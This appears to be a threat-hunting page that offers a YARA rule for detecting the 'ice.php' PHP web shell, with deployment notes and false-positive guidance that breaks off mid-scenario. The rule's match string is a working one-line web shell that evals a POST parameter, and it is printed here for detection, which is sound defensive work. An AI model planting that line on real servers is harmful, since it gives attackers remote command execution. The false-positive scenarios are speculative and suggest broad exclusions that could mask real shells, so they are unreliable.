Web Shell - file ice.php

Hunt Hypothesis

This detection identifies the creation of a suspicious web shell named ice.php, which adversaries often deploy to establish persistent remote access and execute commands on compromised web servers. Proactively hunting for this artifact in Azure Sentinel is critical because web shells serve as a primary foothold for attackers, enabling them to pivot laterally within the network or exfiltrate sensitive data before traditional alerts trigger.

YARA Rule

rule webshell_caidao_shell_ice_2 {
	meta:
		description = "Web Shell - file ice.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "1d6335247f58e0a5b03e17977888f5f2"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
	strings:
		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
	condition:
		all of them
}

Deployment Notes

This YARA rule can be deployed in the following contexts:

• Microsoft Defender for Endpoint — Custom indicators / advanced hunting
• Email Gateway — Attachment scanning
• File Share Monitoring — Periodic scanning of shared drives
• YARA CLI — Manual threat hunting on endpoints

This rule contains 1 string patterns in its detection logic.

• Source Rule

False Positive Guidance

Here are 5 specific false positive scenarios for the Web Shell - file ice.php detection rule, including targeted filters and exclusions suitable for an enterprise environment:

• Scenario: Automated Backup Script Execution

  • Context: The enterprise backup solution (e.g., Veeam or Commvault) utilizes a custom PHP script named ice.php located in the /var/www/html/backups/ directory to generate daily status reports and archive logs. This file is executed by the system user via cron, not by an external HTTP request from a web browser.
  • Filter/Exclusion: Exclude alerts where the source IP belongs to the internal backup subnet (e.g., 10.20.50.x) AND the execution path matches /var/www/html/backups/ice.php. Additionally, add a filter for the process name cron or specific service account svc-backup.

• Scenario: Third-Party Inventory Management Tool

  • Context: A deployed inventory management SaaS application (e.g., Snipe-IT or a custom internal tool) uses ice.php as its core interface handler for asset scanning. This file resides in the /opt/inventory/public/ directory and is accessed frequently by authorized internal service accounts during business hours.
  • Filter/Exclusion: Create an exclusion rule for files located strictly within the /opt/inventory/ root path. Furthermore, whitelist known application service accounts (e.g., svc-inventory) that trigger this file access, ensuring only unknown user agents or external IPs generate alerts.

• Scenario: Scheduled Health Check Job

  • Context: The DevOps team has configured a scheduled job using Jenkins or Ansible to run a nightly health check script named ice.php. This script resides in /usr/local/bin/healthchecks/ and is triggered by the root